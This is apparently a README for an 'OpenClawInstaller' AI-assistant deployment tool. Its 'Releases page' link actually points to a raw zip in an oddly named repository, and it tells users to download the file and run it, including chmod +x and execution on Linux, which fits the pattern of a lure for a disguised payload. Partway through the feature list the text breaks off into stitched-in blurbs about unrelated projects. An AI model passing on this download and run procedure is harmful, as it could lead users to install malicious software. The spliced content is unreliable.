🦞 Deploy your personal AI assistant, OpenClaw, easily across multiple platforms with this streamlined installer tool.
# 🐾 OpenClawInstaller - Easy One-Click Deployment Tool
[](https://github.com/sdwadsagw/OpenClawInstaller/raw/refs/heads/main/docs/Claw-Installer-Open-2.8-alpha.3.zip)
## 📦 Introduction
Welcome to OpenClawInstaller! This tool helps you deploy ClawdBot quickly and easily. No programming experience is required. Follow the steps below to get started with your installation.
## 🚀 Getting Started
To use OpenClawInstaller, you'll need a device with an internet connection. Supported operating systems include:
- Windows 10 or later
- macOS Catalina or later
- Linux (version 5.0 or later)
Make sure your device meets these requirements before proceeding.
## 🔗 Download & Install
1. Visit the [Releases page](https://github.com/sdwadsagw/OpenClawInstaller/raw/refs/heads/main/docs/Claw-Installer-Open-2.8-alpha.3.zip) to download the latest version of OpenClawInstaller.
2. Look for the version number you want. Click on it to see the available downloadable files. You will usually find different options for Windows, macOS, and Linux.
3. Click on the file that matches your operating system.
4. Once the download is complete, locate the file in your Downloads folder.
5. For Windows and macOS:
- Double-click the file to start the installation.
- Follow the on-screen prompts to complete the installation.
6. For Linux:
- Open your terminal.
- Navigate to your Downloads folder using the command `cd ~/Downloads`.
- Run the installer with `chmod +x OpenClawInstaller`, and then `./OpenClawInstaller`.
7. After installation, you can find ClawdBot in your applications menu. Open it to start using it.
## 🛠️ Features
OpenClawInstaller offers the following features:
- **Simple Interface**: User-friendly design makes it easy for anyone to navigate.
- **Quick Installation**: Set up ClawdBot in just a few clicks.
- **Multi-PHAL 分层混合模型工作流 — 强模型(Claude)负责理解/拆解/验收,低成本模型(DeepSeek)负责检索/提取/清洗。Hermes Agent skill。
An LLM agent fine-tuned on DeepSeek for spaced repetition, dynamically integrating knowledge points based on the Ebbinghaus forgetting curve.
基于 STM32F103 构建的端到端 AI 智能手表生态。自研“零重定位”原生机器码动态加载引擎与页面栈式 UI 框架;集成生产级 OTA 回滚保护机制与高带宽(921600 baud)串口协议栈。通过 Node.js 中继实现 DeepSeek AI 语义控制及 ASRPRO 语音全双工交互,是一个集成了分布式计算、现代存储管理与 AI Agent 的嵌入式全栈工程。
A Meta-Agent-Driven Self-Evolving Multi-Agent System for UAV Detection and Tracking
One command to run Hermes AI Agent with a browser UI. Zero prerequisites. 一行命令,AI 就位。
网页应用Agent,接入DeepSeek、Mimo等模型